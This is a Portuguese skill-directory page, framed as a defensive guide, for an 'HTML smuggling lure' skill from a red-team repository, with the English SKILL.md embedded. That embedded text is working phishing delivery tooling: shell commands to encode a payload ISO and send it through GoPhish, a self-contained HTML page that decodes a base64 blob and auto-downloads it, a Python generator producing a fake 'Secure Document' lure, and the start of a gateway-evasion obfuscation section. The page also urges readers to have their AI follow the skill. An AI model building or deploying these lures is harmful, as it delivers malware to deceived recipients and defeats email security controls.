Pular para o conteúdo
Skillpedia
Segurança6,5 mil · #14117

html-smuggling-lure

O que ela faz

Este guia descreve como arquivos maliciosos podem ser escondidos em anexos HTML e remontados pelo navegador. Ele é para equipes de segurança de e-mail e de web que querem detectar e bloquear esse padrão.

Quando usar

  • ✓Quando um gateway de e-mail ou um proxy web precisa de regras para arquivos HTML que montam downloads com scripts.
  • ✓Quando um teste autorizado verifica se anexos HTML são inspecionados corretamente.
  • ✓Quando uma equipe de segurança revisa como a equipe poderia ser atraída a baixar um arquivo disfarçado.

Link da skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md

Copie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.

Como usar

O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Quer que a sua IA encontre skills como esta sozinha?Instale o MCP grátis do Skillpedia: uma linha, e ela pesquisa entre 15.000+ skills antes de cada tarefa.Instalar em 1 minuto →

Exemplo do que pedir para a IA

“Nossos filtros de e-mail e web conseguem pegar anexos HTML que remontam um arquivo no navegador? Por favor, verifique os controles.”

5 skills novas por semana. 1 minuto de leitura.

Como funciona

O agente revisa como os anexos HTML são inspecionados, verifica scripts que criam downloads e informa onde a detecção falharia.

Conteúdo técnico (SKILL.md original)

Texto original do autor, em inglês, direto do GitHub.

HTML Smuggling Lure

HTML smuggling abuses the browser's ability to construct files from JavaScript — a base64-encoded payload is embedded directly in an HTML email attachment or link. When opened, JavaScript decodes the blob, creates an <a> element with a blob: URL, and triggers a download. The payload never transits the wire as a detectable file type, so email gateways and web proxies that inspect MIME types see only text/html.

Nobelium (SolarWinds), Qakbot, and IcedID campaigns have used this technique extensively since 2021.

Prerequisites

  • A compiled payload (ISO, ZIP, MSI, IMG, or VHD) ready for delivery.
  • GoPhish or direct SMTP for delivery (gophish-campaign).
  • The lure-deconfliction handshake COMPLETE.

Quick Reference

# Encode payload to base64
base64 -w0 /workspace/payload.iso > /workspace/payload.b64

# Generate the HTML smuggling page
python3 /workspace/gen_smuggle.py \
  --payload /workspace/payload.b64 \
  --filename "Report.iso" \
  --mimetype "application/octet-stream" \
  --output /workspace/smuggle.html

# Deliver via GoPhish as an attachment
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \
  -H 'Content-Type: application/json' \
  "$GOPHISH_API/templates/" -d @/workspace/smuggle_template.json

MITRE ATT&CK Mapping

Technique ID Usage
Obfuscated Files: HTML Smuggling T1027.006 Payload reconstructed client-side from JS blob
Phishing: Spearphishing Attachment T1566.001 HTML file delivered as email attachment
User Execution: Malicious File T1204.002 Victim opens HTML, browser downloads payload

1. Basic HTML Smuggling Template

Minimal self-contained HTML that decodes a base64 payload and triggers download:

<!DOCTYPE html>
<html>
<head><title>Secure Document</title></head>
<body>
<p>Your document is downloading...</p>
<script>
// Base64 payload — replace with actual encoded content
var b64 = "<BASE64_PAYLOAD>";
var fname = "<FILENAME>";    // e.g. "Report.iso"
var mtype = "application/octet-stream";

var bytes = atob(b64);
var arr = new Uint8Array(bytes.length);
for (var i = 0; i < bytes.length; i++) arr[i] = bytes.charCodeAt(i);

var blob = new Blob([arr], {type: mtype});
var a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = fname;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(a.href);
</script>
</body>
</html>

2. Generator Script

Automate HTML smuggling page creation with theming:

import base64
import sys

TEMPLATE = '''<!DOCTYPE html>
<html>
<head>
<title>{title}</title>
<style>
body {{ font-family: Segoe UI, sans-serif; display: flex;
  justify-content: center; align-items: center; height: 100vh;
  background: #f5f5f5; }}
.card {{ background: #fff; padding: 40px; border-radius: 4px;
  box-shadow: 0 2px 8px rgba(0,0,0,.15); text-align: center; }}
.spinner {{ border: 4px solid #eee; border-top: 4px solid #0078d4;
  border-radius: 50%; width: 40px; height: 40px;
  animation: spin 1s linear infinite; margin: 20px auto; }}
@keyframes spin {{ to {{ transform: rotate(360deg); }} }}
</style>
</head>
<body>
<div class="card">
  <h2>Opening Secure Document</h2>
  <div class="spinner"></div>
  <p>If the download does not start, <a id="dl" href="#">click here</a>.</p>
</div>
<script>
(function() {{
  var d = "{b64data}";
  var n = "{filename}";
  var b = atob(d);
  var u = new Uint8Array(b.length);
  for (var i = 0; i < b.length; i++) u[i] = b.charCodeAt(i);
  var bl = new Blob([u], {{type: "application/octet-stream"}});
  var url = URL.createObjectURL(bl);
  var a = document.getElementById("dl");
  a.href = url; a.download = n;
  var t = document.createElement("a");
  t.href = url; t.download = n;
  document.body.appendChild(t); t.click();
  document.body.removeChild(t);
}})();
</script>
</body>
</html>'''

def generate(payload_path, filename, title, output):
    with open(payload_path, "rb") as f:
        b64 = base64.b64encode(f.read()).decode()
    html = TEMPLATE.format(
        title=title, b64data=b64,
        filename=filename)
    with open(output, "w") as f:
        f.write(html)
    print(f"[+] Smuggle page written to {output} ({len(b64)} bytes encoded)")

# Usage: generate("/workspace/payload.iso", "Report.iso",
#                 "Secure Document Portal", "/workspace/smuggle.html")

3. Obfuscation Layers

Basic base64 is trivially detected by static analysis. Layer obfuscation to evade email gat

Perguntas frequentes

Por que é difícil de detectar?

O guia diz que o arquivo nunca trafega como um tipo de arquivo normal, então gateways que verificam apenas tipos de arquivo veem uma página web comum.

Quais grupos já usaram essa técnica?

O guia observa que várias campanhas conhecidas usam essa técnica desde 2021.

Qual é a defesa?

Inspecionar downloads criados por scripts e bloquear anexos HTML que criam downloads de arquivos.

Detalhes

Descrição original do autor

HTML smuggling payloads for initial access — embed base64-encoded binaries inside an HTML attachment that reconstructs and auto-downloads the file client-side via JavaScript Blob, bypassing email gateway and proxy file-type inspection.

repo: BitterSecurity/Decepticon

Popularidade

Estrelas no GitHub
6,5 mil
Posição no ranking
#14117
Licença
Apache-2.0
Atualizada em
01/11/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas